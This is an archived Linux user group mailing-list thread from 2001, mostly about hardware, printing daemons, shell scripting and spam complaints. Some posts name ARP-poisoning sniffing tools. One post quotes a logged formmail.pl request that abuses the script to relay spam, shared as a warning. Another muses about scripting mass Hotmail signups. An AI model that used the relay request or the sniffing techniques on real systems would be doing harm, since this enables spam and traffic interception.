return, but I think the cost-savings is worth it. Thomas T. Veldhouse [veldy@veldy.net] wrote: > I would prefer to buy locally personally. > > Tom > > ----- Original Message ----- > From: "Brian" > To: > Sent: Friday, August 17, 2001 11:25 AM > Subject: Re: [OFFTOPIC] Re: [TCLUG] Performance of editing large files > > > > On Fri, 17 Aug 2001, Thomas T. Veldhouse wrote: > > > > > >From where? Is it from a reliable distributor? TranMicro is selling > it for > > > $189. > > > > pricewatch has a whole pile of vendors for <$120. They're probably white > > box, but since they have DOA guarantees I'd buy one. > > > > -Brian > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From florin at iucha.net Fri Aug 17 12:41:15 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:26:34 2005 Subject: [OFFTOPIC] Re: [TCLUG] Performance of editing large files In-Reply-To: <001c01c1273d$d62b8830$0101a8c0@cascade>; from veldy@veldy.net on Fri, Aug 17, 2001 at 11:58:28AM -0500 References: <001c01c1273d$d62b8830$0101a8c0@cascade> Message-ID: <20010817124115.D29089@beaver.iucha.org> On Fri, Aug 17, 2001 at 11:58:28AM -0500, Thomas T. Veldhouse wrote: > I would prefer to buy locally personally. > Me too, unless the price is 1.7 times greater... florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From clay at fandre.com Fri Aug 17 12:47:16 2001 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:26:34 2005 Subject: [TCLUG] restarting Redhat 7x via telnet In-Reply-To: <20010817100434.C22483@sherohman.org> References: <20010817095719.B29089@beaver.iucha.org> <20010817100434.C22483@sherohman.org> Message-ID: <20010817124716.C18414@fandre.com> Dave Sherohman [esper@sherohman.org] wrote: > 2) Use switches instead of hubs. You can't sniff a packet that > doesn't reach your NIC. This is totally false. There are many ways to sniff a switched network. arp poisoning and arp-cache flooding are the two most common. Just check out ettercap or dsniff. http://ettercap.sourceforge.net/ http://www.monkey.org/~dugsong/dsniff/ From clay at fandre.com Fri Aug 17 12:50:54 2001 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:26:34 2005 Subject: [TCLUG] restarting Redhat 7x via telnet In-Reply-To: <20010817124716.C18414@fandre.com> References: <20010817095719.B29089@beaver.iucha.org> <20010817100434.C22483@sherohman.org> <20010817124716.C18414@fandre.com> Message-ID: <20010817125053.D18414@fandre.com> Here's a nice writeup that explains why: http://www.sans.org/newlook/resources/IDFAQ/switched_network.htm Clay Fandre [clay@fandre.com] wrote: > Dave Sherohman [esper@sherohman.org] wrote: > > 2) Use switches instead of hubs. You can't sniff a packet that > > doesn't reach your NIC. > > This is totally false. There are many ways to sniff a switched network. arp poisoning and arp-cache flooding are the two most common. Just check out ettercap or dsniff. > > http://ettercap.sourceforge.net/ > http://www.monkey.org/~dugsong/dsniff/ > > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From esper at sherohman.org Fri Aug 17 13:12:07 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:26:34 2005 Subject: [TCLUG] restarting Redhat 7x via telnet In-Reply-To: <20010817124716.C18414@fandre.com>; from clay@fandre.com on Fri, Aug 17, 2001 at 12:47:16PM -0500 References: <20010817095719.B29089@beaver.iucha.org> <20010817100434.C22483@sherohman.org> <20010817124716.C18414@fandre.com> Message-ID: <20010817131207.E22483@sherohman.org> On Fri, Aug 17, 2001 at 12:47:16PM -0500, Clay Fandre wrote: > Dave Sherohman [esper@sherohman.org] wrote: > > 2) Use switches instead of hubs. You can't sniff a packet that > > doesn't reach your NIC. > > This is totally false. There are many ways to sniff a switched network. arp poisoning and arp-cache flooding are the two most common. Just check out ettercap or dsniff. Good point, good point... uh... I was assuming users smart enough to use a sniffer but not smart enough to use any advanced techniques? -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From veldy at veldy.net Fri Aug 17 13:50:58 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:34 2005 Subject: [OFFTOPIC] Re: [TCLUG] Performance of editing large files References: <001c01c1273d$d62b8830$0101a8c0@cascade> <20010817123114.A18414@fandre.com> Message-ID: <003701c1274d$8dbb6c40$0101a8c0@cascade> I have considered it [buying interstate], but I have not had good enough luck with hardware overall to feel that it is worth it. I am too attached to my hardware. If something goes down, I want it to be back up immediately. So, online [out of the twin cities area] is too slow a turn arount time for me. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Clay Fandre" To: Sent: Friday, August 17, 2001 12:31 PM Subject: Re: [OFFTOPIC] Re: [TCLUG] Performance of editing large files > I've always bought my systems from pricewatch and have never had any problems with them. I do stick with the better brands though. (Asus, Abit, etc.) Buying online does make it more difficult to return, but I think the cost-savings is worth it. > > Thomas T. Veldhouse [veldy@veldy.net] wrote: > > I would prefer to buy locally personally. > > > > Tom > > > > ----- Original Message ----- > > From: "Brian" > > To: > > Sent: Friday, August 17, 2001 11:25 AM > > Subject: Re: [OFFTOPIC] Re: [TCLUG] Performance of editing large files > > > > > > > On Fri, 17 Aug 2001, Thomas T. Veldhouse wrote: > > > > > > > >From where? Is it from a reliable distributor? TranMicro is selling > > it for > > > > $189. > > > > > > pricewatch has a whole pile of vendors for <$120. They're probably white > > > box, but since they have DOA guarantees I'd buy one. > > > > > > -Brian > > > > > > > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@mn-linux.org > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From veldy at veldy.net Fri Aug 17 13:55:56 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:34 2005 Subject: [OFFTOPIC] Re: [TCLUG] Performance of editing large files References: <001c01c1273d$d62b8830$0101a8c0@cascade> <20010817124115.D29089@beaver.iucha.org> Message-ID: <003e01c1274e$3f6e2540$0101a8c0@cascade> Even that depends for me. To me, if we are talking the difference between $150 and $190 [locally], I will buy local if the priority of the component is high enough. Video Card -- no big deal, I will put in a old one, and wait for the turnaround time. If the CPU or MB goes, I want to replace it now. So, I can't wait for the time it takes to mail it off and wait for the new one. Locally, I just bring it back and get a new one. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Florin Iucha" To: Sent: Friday, August 17, 2001 12:41 PM Subject: Re: [OFFTOPIC] Re: [TCLUG] Performance of editing large files > On Fri, Aug 17, 2001 at 11:58:28AM -0500, Thomas T. Veldhouse wrote: > > I would prefer to buy locally personally. > > > > Me too, unless the price is 1.7 times greater... > > florin > > -- > > "If it's not broken, is because you are not fixing it enough." > > 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From dieman+tclug at ringworld.org Fri Aug 17 14:22:21 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:34 2005 Subject: [TCLUG] restarting Redhat 7x via telnet In-Reply-To: <20010817125053.D18414@fandre.com> References: <20010817095719.B29089@beaver.iucha.org> <20010817100434.C22483@sherohman.org> <20010817124716.C18414@fandre.com> <20010817125053.D18414@fandre.com> Message-ID: <20010817142221.B1874@ringworld.org> * Clay Fandre [010817 12:51]: > Here's a nice writeup that explains why: > http://www.sans.org/newlook/resources/IDFAQ/switched_network.htm > > This is totally false. There are many ways to sniff a switched network. arp poisoning and arp-cache flooding are the two most common. Just check out ettercap or dsniff. Of course, if you statically assign adresses and dont auto-learn any your safe. :) -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From dieman+tclug at ringworld.org Fri Aug 17 14:23:30 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:34 2005 Subject: [TCLUG] Performance of editing large files In-Reply-To: <3B7D197E.7BF0C6B1@StPaulSoftware.com> References: <3B7D197E.7BF0C6B1@StPaulSoftware.com> Message-ID: <20010817142330.C1874@ringworld.org> * James Stauffer [010817 08:34]: > 1GB of DDR RAM? Something else? (I am currently running Win98 because The kt133a chipset has made DDR less important right now. :) -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From austad at marketwatch.com Fri Aug 17 14:40:48 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:26:34 2005 Subject: [TCLUG] restarting Redhat 7x via telnet Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDDBA@mspexch2.office.mktw.net> > Of course, if you statically assign adresses and dont > auto-learn any your safe. :) You mean IP addresses? Not so. About the only way to protect against this kind of attack is to use port security on your switches and lock them down to one MAC address. It's a big pain though, especially in a large organization, or if you have users with laptops that move all over the place. > -----Original Message----- > From: Scott Dier [mailto:dieman+tclug@ringworld.org] > Sent: Friday, August 17, 2001 2:22 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] restarting Redhat 7x via telnet > > > * Clay Fandre [010817 12:51]: > > Here's a nice writeup that explains why: > > http://www.sans.org/newlook/resources/IDFAQ/switched_network.htm > > > This is totally false. There are many ways to sniff a switched > > > network. arp poisoning and arp-cache flooding are the two most > > > common. Just check out ettercap or dsniff. > > Of course, if you statically assign adresses and dont > auto-learn any your safe. :) > > -- > Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From tanner at real-time.com Fri Aug 17 14:58:54 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:34 2005 Subject: [TCLUG] restarting Redhat 7x via telnet In-Reply-To: <20010817075237.B28171@fandre.com>; from clay@fandre.com on Fri, Aug 17, 2001 at 07:52:37AM -0500 References: <004a01c12651$42616490$0ad2e5cf@means.net> <20010816195546.50258ee7.hick0088@tc.umn.edu> <20010817075237.B28171@fandre.com> Message-ID: <20010817145854.L6932@real-time.com> Quoting Clay Fandre (clay@fandre.com): > Yes, please listen to Mike. (for once) Let's rid the world of telnet and > r-services. There really isn't a need for them anymore. If you don't believe > me, just start running dsniff for a while. You'll see what I mean. > Still need a telnet client for Cisco gear that doesn't support ssh, all(?) Ascend/Lucent gear, a very basic testing tool (telnet mailserver 25 anyone?). Right? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From JStauffe at StPaulSoftware.com Fri Aug 17 15:05:27 2001 From: JStauffe at StPaulSoftware.com (James Stauffer) Date: Mon Jan 17 13:26:34 2005 Subject: [TCLUG] Performance of editing large files Message-ID: <3B7D7907.B2E47C61@spsCommerce.com> --- Scott Dier wrote: > * James Stauffer [010817 08:34]: > > 1GB of DDR RAM? Something else? (I am currently running Win98 because > > The kt133a chipset has made DDR less important right now. :) Why? From trammell at trammell.dyndns.org Fri Aug 17 19:58:18 2001 From: trammell at trammell.dyndns.org (John J. Trammell) Date: Mon Jan 17 13:26:34 2005 Subject: [TCLUG] restarting Redhat 7x via telnet In-Reply-To: <20010817145854.L6932@real-time.com>; from tanner@real-time.com on Fri, Aug 17, 2001 at 02:58:54PM -0500 References: <004a01c12651$42616490$0ad2e5cf@means.net> <20010816195546.50258ee7.hick0088@tc.umn.edu> <20010817075237.B28171@fandre.com> <20010817145854.L6932@real-time.com> Message-ID: <20010817195818.A5748@trammell.dyndns.org> On Fri, Aug 17, 2001 at 02:58:54PM -0500, Bob Tanner wrote: > Quoting Clay Fandre (clay@fandre.com): > > Yes, please listen to Mike. (for once) Let's rid the world of telnet and > > r-services. There really isn't a need for them anymore. If you don't believe > > me, just start running dsniff for a while. You'll see what I mean. > > > > Still need a telnet client for Cisco gear that doesn't support ssh, all(?) > Ascend/Lucent gear, a very basic testing tool (telnet mailserver 25 anyone?). > > Right? I thought we were talking about servers. They can have my telnet client when they pry it out of my cold, dead hands. -- It's clear that the crew to send to Mars must be comprised of midget eunuchs. From natecars at real-time.com Fri Aug 17 15:45:16 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:34 2005 Subject: [TCLUG] LPR Dying? Message-ID: We've got a client who's printing from a bunch of Windoze clients to a Samba server, which spools it off to LPR. Problem is, occasionally, the LPR daemon just dies; no logs, it's just dead. Any suggestions on what we can do to take care of this? I'm thinking of switching to LPRng. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From blayer at qwest.net Fri Aug 17 15:52:33 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:34 2005 Subject: [TCLUG] LPR Dying? In-Reply-To: References: Message-ID: <20010817155233.65d7679c.blayer@qwest.net> On Fri, 17 Aug 2001 15:45:16 -0500 (CDT) "Nate Carlson" wrote: > I'm thinking of switching to LPRng. :) I can tell you from experience - it's no panacea. -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From natecars at real-time.com Fri Aug 17 16:08:34 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:34 2005 Subject: [TCLUG] LPR Dying? In-Reply-To: <20010817155233.65d7679c.blayer@qwest.net> Message-ID: On Fri, 17 Aug 2001, Bill Layer wrote: > > I'm thinking of switching to LPRng. :) > > I can tell you from experience - it's no panacea. does it help, though? :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From troy.johnson at health.state.mn.us Fri Aug 17 16:16:11 2001 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 13:26:35 2005 Subject: [TCLUG] LPR Dying? Message-ID: Nate, I was thinking something horrible like: l0:2345:respawn:/sbin/lpd in '/etc/inittab' or: * * * * * /usr/local/bin/check-for-lpd-and-restart-if-dead.sh in root's crontab. Oh, you wanted "good" suggestions. ;-) Good luck, Troy >>> natecars@real-time.com 08/17/01 03:45PM >>> We've got a client who's printing from a bunch of Windoze clients to a Samba server, which spools it off to LPR. Problem is, occasionally, the LPR daemon just dies; no logs, it's just dead. Any suggestions on what we can do to take care of this? I'm thinking of switching to LPRng. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From austad at marketwatch.com Fri Aug 17 17:28:50 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:26:35 2005 Subject: [TCLUG] restarting Redhat 7x via telnet Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDDBD@mspexch2.office.mktw.net> Well, you do still need to use telnet for some things, but most cisco routers support ssh now if you grab the newer IOS's, and the PIX supports it too (but not in a redundant PIX setup last I checked). For those devices that don't do ssh, but have IPSec, you can configure an IPSec policy between the device and the hosts you connect to it from. Another good measure is to set up the devices to use RADIUS and use an RSA AceServer/SecureID setup for one time passwords. Jay > -----Original Message----- > From: Bob Tanner [mailto:tanner@real-time.com] > Sent: Friday, August 17, 2001 2:59 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] restarting Redhat 7x via telnet > > > Quoting Clay Fandre (clay@fandre.com): > > Yes, please listen to Mike. (for once) Let's rid the world > of telnet > > and r-services. There really isn't a need for them anymore. If you > > don't believe me, just start running dsniff for a while. You'll see > > what I mean. > > > > Still need a telnet client for Cisco gear that doesn't > support ssh, all(?) Ascend/Lucent gear, a very basic testing > tool (telnet mailserver 25 anyone?). > > Right? > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From krwc2 at visi.com Fri Aug 17 17:27:05 2001 From: krwc2 at visi.com (John Goerg) Date: Mon Jan 17 13:26:35 2005 Subject: [TCLUG] HDD IO optimizing In-Reply-To: <20010817003353.3bb4e317.blayer@qwest.net> References: <025101c126d4$683f84c0$6601a8c0@cargill.com> <20010817003353.3bb4e317.blayer@qwest.net> Message-ID: <01081718042900.00543@localhost.localdomain> On Fri, 17 Aug 2001, bill layer wrote: > Western Digital Caviar 33XXX series (3GB) just die on me within a span of > a few weeks. Both suffered a hard fault, and were not recoverable. I have Talk about a quick way to make a guy feel paranoid. I've got two 33100's spinning as I type. BACKUP!!! John Goerg From andy at theasis.com Fri Aug 17 13:19:02 2001 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:26:35 2005 Subject: [TCLUG] HDD IO optimizing In-Reply-To: <01081718042900.00543@localhost.localdomain> Message-ID: > Talk about a quick way to make a guy feel paranoid. > I've got two 33100's spinning as I type. BACKUP!!! Yes, backup. I lost a couple of WD drives; they were good about replacing them, but I've never had a Maxtor go. Unfortunately, I've lost a <6month old IBM 36G SCSI drive too. All major brands have about the same failure rates. Your best bet is to just pick the ones you like (I *hate* WD because of the obnoxious jumper settings), and back up everything important so that it's just a minor inconvenience when you lose one. Andy > > John Goerg From hick0088 at tc.umn.edu Fri Aug 17 18:51:56 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:35 2005 Subject: [TCLUG] Performance of editing large files In-Reply-To: <3B7D197E.7BF0C6B1@StPaulSoftware.com> References: <3B7D197E.7BF0C6B1@StPaulSoftware.com> Message-ID: <20010817185156.19aa0d55.hick0088@tc.umn.edu> James Stauffer wrote: > > Upgrade mobo and install 1GB of DDR RAM? Something else? (I am > currently running Win98[...] Note that Win98 can't access beyond 512 MB reliably.. It's probably worthwhile for you to acquire Win2k. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ It is much easier to be / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ critical than to be \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) correct [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... 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Or am I just missing something? -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Firings will continue / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ until morale improves. \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... 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You'll see what I mean. > > > > Still need a telnet client for Cisco gear that doesn't support ssh, all(?) > Ascend/Lucent gear, a very basic testing tool (telnet mailserver 25 anyone?). > > Right? nc mailserver 25 Yes, if you looked at my instructions in the earlier message, I never said anything about removing the telnet client packages, only the server/daemon packages. Use ssh when you can. On a UNIX box, that's just about 100% of the time. Hopefully the network eq will catch on sooner rather than later. From trammell at trammell.dyndns.org Sat Aug 18 00:50:13 2001 From: trammell at trammell.dyndns.org (John J. Trammell) Date: Mon Jan 17 13:26:35 2005 Subject: [TCLUG] LPR Dying? In-Reply-To: <20010817185939.2b1dbe52.hick0088@tc.umn.edu>; from hick0088@tc.umn.edu on Fri, Aug 17, 2001 at 06:59:39PM -0500 References: <20010817185939.2b1dbe52.hick0088@tc.umn.edu> Message-ID: <20010818005013.A6524@trammell.dyndns.org> On Fri, Aug 17, 2001 at 06:59:39PM -0500, Mike Hicks wrote: > This is wandering off topic a bit, but it reminds me that I don't think > I've ever really seen logs produced by lpr/lpd. Why is that? Why in the > world do most systems log everything under the sun except printing? Or am > I just missing something? /var/log/lpr.log? -- The Internet: May contain traces of nuts. From ssinn at qwest.net Fri Aug 17 23:21:40 2001 From: ssinn at qwest.net (Spencer J Sinn) Date: Mon Jan 17 13:26:35 2005 Subject: [TCLUG] LPR Dying? In-Reply-To: <20010817185939.2b1dbe52.hick0088@tc.umn.edu>; from hick0088@tc.umn.edu on Fri, Aug 17, 2001 at 06:59:39PM -0500 References: <20010817185939.2b1dbe52.hick0088@tc.umn.edu> Message-ID: <20010817232140.A24992@thor> It depends on where your system is logging. LP is logged as info or notice, so it grep info /etc/syslog.conf and grep notice /etc/syslog.conf should show where it is logging to. Default on most systems is /var/log/messages. The LPD doesn't do anything unless you are printing, so there may be few log records created by syslog, if any. On Fri, Aug 17, 2001 at 06:59:39PM -0500, Mike Hicks wrote: > Nate Carlson wrote: > > > > We've got a client who's printing from a bunch of Windoze clients to a > > Samba server, which spools it off to LPR. Problem is, occasionally, the > > LPR daemon just dies; no logs, it's just dead. > > This is wandering off topic a bit, but it reminds me that I don't think > I've ever really seen logs produced by lpr/lpd. Why is that? Why in the > world do most systems log everything under the sun except printing? Or am > I just missing something? > > -- > _ _ _ _ _ ___ _ _ _ ___ _ _ __ Firings will continue > / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ until morale improves. > \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) > [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -- Thanks, Spencer J Sinn From tanner at real-time.com Sat Aug 18 03:35:34 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:35 2005 Subject: [TCLUG] abuse@hotmail = joke@dumbass.com Message-ID: <20010818033534.A27443@real-time.com> I need to vent.... Got a couple hundred(!) spam mail from hotmail.com today. So, I gathered all the the spam and put into my junk folder. I then contacted abuse@hotmail.com and professionally and calmly asked them to stop this user from spamming myself and Real Time's networks. I attached 2 messages with full headers with the explicit label -sample- of the spam and I could send a complete report if more info was needed. To my surprise I got a response from a human! (yes I still got the auto-response thing that is useless too). The curtly informed me that 2 messages does not constitute a spamming. Hmmm... I thought, you are right, -1- message is a spam! But I bit my lip, getting a human to respond from hotmail is rare and I didn't want to blow the potential that someone actually cares about spam. So I responding, say that was a sample of the spam, and to find a complete listing of with headers of -all- the messages. I attached each of the 573(!) messages as attachments (this is important). I do this so 1 message can contact all the evidence of spam and you can just view the attachments. This is how I personally like to get complaints to abuse@real-time.com. What do I get back? The little prick tells me -not- to spam him! Ok, I've been an admin long enough to know =not= to pound the reply key and vent. But it's ironic. He tells me 2 messages are not spamming. I send 1 message (ok with 573 attachments) -but- still 1 message and it's spam. I chilled out a couple of hours. Apologized(!) and said I would just like to work through the problem and resolve the issue. I'm talking to a human after all and it's a rare blah... blah... blah... What does he tell me? The message all have forged headers. Oh, boy. Like I cannot read an SMTP header to see that it's -not- forged. Damn! I just want to black-hole all of hotmail.com. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From tanner at real-time.com Sat Aug 18 04:39:33 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:35 2005 Subject: [TCLUG] formmail.pl abuse Message-ID: <20010818043933.C27443@real-time.com> Just an fyi for all your perl users using formmail.pl. Looks like formmail.pl allows spamming, for what I can tell it does not validate the recipient list. As shown in this log snippet: GET /cgi-bin/formmail.pl?email=G5336@alumidirector.com&recipient=jajchtd@aol.com,yummykissy@aol.com,jajclower@aol.com,kmahb@aol.com,flygirlmr@aol.com,&subject=Home+Based+Business+++++++++gbdsgsdgbv++++++++++++++++++++++++++++++++++793Z2kw6cna&=++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++



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V6K28C0ck0SFAK7tb6iMHnW7sOzNoxX30PrqyoY06j9hp8dS3b5y54uAVs95114lV6K28C0ck0SFAK7tb6iMHnW7sOzNoxX30PrqyoY06j9V3r5px7lIDi2g44cJLaA21L0tM2A8PT7ks9B5QT4bjXqWYoG32YhDwfN09Fyyg1OI3r5px7lIDi2g44cJLaA21L0tM2A8PT7ks9B5QT4bjXqWYoG32YhDwfN09Fyyg1OI3r5px7lIDi2g44cJLaA21L0tM2A8PT7ks9B5QT4bjXqWYoG32YhDwfN09F HTTP/1.0" 200 1395 "-" "SSM Agent 1.0" This is document on Bugtraq, but since I'm seeing it now, I thought I'd let everyone know. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From dan at williamsongraphics.com Sat Aug 18 09:16:20 2001 From: dan at williamsongraphics.com (dan williamson) Date: Mon Jan 17 13:26:35 2005 Subject: [TCLUG] tif2jpg continued... Message-ID: <01081809162000.11465@morpheus.hellnet> Okay, I got a script to work, but it does something strange. It converts the files from tif to jpg, but it makes 2 copies, 1 is the normal size and the other is a smaller version of which I don't need. I'm just learning scripting, and I have poured over this script for hours trying to figure out why this is happening. The script is as follows: #!/bin/sh mkdir old for filename in *.TIF; do case $filename in *.TIF ) infilename=$filename outfilename=${filename%.jpg}.jpg convert $infilename R$outfilename mv $infilename old;; * ) echo "error: $filename not a TIF file." ;; esac done After it completes, the files are named: DSCF0089.TIF.jpg Is there a utility something I can use to do a mass rename by stripping the .tif extension? I have looked around but haven't had much luck. TIA! Dan From nate at techie.com Sat Aug 18 09:54:02 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:26:35 2005 Subject: [TCLUG] abuse@hotmail = joke@dumbass.com In-Reply-To: <20010818033534.A27443@real-time.com>; from tanner@real-time.com on Sat, Aug 18, 2001 at 03:35:34AM -0500 References: <20010818033534.A27443@real-time.com> Message-ID: <20010818095401.A27028@candle.mn.mediaone.net> On Sat, Aug 18, 2001 at 03:35:34AM -0500, Bob Tanner wrote: > To my surprise I got a response from a human! (yes I still got the > auto-response thing that is useless too). The curtly informed me that > 2 messages does not constitute a spamming. I think you need to send him a copy of RFC2635, "DON'T SPEW, A Set of Guidelines for Mass Unsolicited Mailings and Postings (spam*)."[1] Don't send him the URL, don't attach it, put it right in the email. In addition, you might want to send him a second email with my favorite, RFC1855, "Netiquette Guidelines."[2] Mail that in the same fashion. > What does he tell me? The message all have forged headers. Oh, boy. > Like I cannot read an SMTP header to see that it's -not- forged. Damn! > I just want to black-hole all of hotmail.com. You should ask him to explain to you why he thinks the headers were forged. Maybe he isn't blowing smoke. Maybe you can educate him if he is with your own detailed explaination. I feel your pain, Nate [1] http://www.ietf.org/rfc/rfc2635 [2] http://www.imc.org/rfc1855 From andy at theasis.com Sat Aug 18 05:07:59 2001 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:26:35 2005 Subject: [TCLUG] tif2jpg continued... In-Reply-To: <01081809162000.11465@morpheus.hellnet> Message-ID: > After it completes, the files are named: DSCF0089.TIF.jpg > Is there a utility something I can use to do a mass rename by stripping the > .tif extension? I have looked around but haven't had much luck. basename And you probably would be better off using that in the conversion script, to get it right the first time, rather than have to make one pass to convert and then another to fix the names. Just FYI, my conversions are done more like this: for temp in $* do PIC=`basename $temp .TIF` convert ${PIC}.TIF ${PIC}.gif done exit 0 $* (and $@ for that matter) expand to "$1 $2 ... $n" ...which means you can enter the files on the command line, for more flexibility: mytif2mpg bob.TIF fred.TIF sophie.TIF or mytif2jpg *.TIF or mytif2jpg bob*.TIF Note there is some sloppiness in the above script. You want to put in some error catching stuff (like you had) etc. It does everything in the current directory. Also, convert is able to do resizing (-geometry) and rotation (-rotate). Andy > TIA! > Dan From markbrowne at mn.mediaone.net Sat Aug 18 12:21:11 2001 From: markbrowne at mn.mediaone.net (Mark Browne) Date: Mon Jan 17 13:26:35 2005 Subject: Hotmail fun, was Re: [TCLUG] abuse@hotmail = joke@dumbass.com References: <20010818033534.A27443@real-time.com> <20010818095401.A27028@candle.mn.mediaone.net> Message-ID: <002a01c1280a$3069ab20$6601a8c0@zippy> > > I just want to black-hole all of hotmail.com. At this point in time hot mail has little need to regulate the vast flood of spam associated with their service. A little note on hotmail... I use this account to pick up my company e-mail when I travel to other countries. My IT folks send a copy of each e-mail to my hotmail account. This is the ONLY use I make of this account, and the only person who has ever gotten this address from me. After I signed up for an account I get 500+ spams each month on the account. Ya, I know I can (and do) use the management features to shove the spam to the bulk folder. As hard as it may be to believe - hotmail is the most reliable e-mail service in Internet cafes in parts of Asia. The poor telephone service makes it hard to get a usable connection. Also, the rampant censorship makes it hard to pick up pop3 accounts sometimes. Sigh. Back to the spam. It is obvious that hotmail sells their subscriber lists. Since they get paid to provide an audience they must get paid more then it costs to provide storage for the received spam. I wonder if it is possible to turn this ratio around? I have been thinking of a new hobby. I want to see how many free hotmail accounts I can activate and maintain. The figure of merit of success is how many megabytes of spam I can have on hotmail. Gigabytes perhaps? I can see that this will require the use of automation - script files are our friends. I suspect that the good folks at hotmail would take measures after a time but it still might be fun. I have struggling with the morality of this. I am not sending the spam - I am asking hotmail to hold it for me. Still, it is a clear abuse of the service. Comments? Mark Browne From sos at zjod.net Sat Aug 18 13:23:52 2001 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:26:36 2005 Subject: [TCLUG] abuse@hotmail = joke@dumbass.com In-Reply-To: <20010818033534.A27443@real-time.com> from "Bob Tanner" at Aug 18, 2001 03:35:34 AM Message-ID: <200108181823.NAA24357@zjod.net> In part, Bob Tanner wrote: > > What does he tell me? The message all have forged headers. Oh, boy. Like I > cannot read an SMTP header to see that it's -not- forged. Damn! I just want to > black-hole all of hotmail.com. > So what's stopping you? Oh 